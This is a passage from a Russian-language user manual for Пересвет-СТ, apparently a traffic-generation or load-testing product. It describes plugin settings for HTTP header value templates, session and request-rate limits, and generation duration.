| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 47;
Табл. 47 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 48.
Табл. 48 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |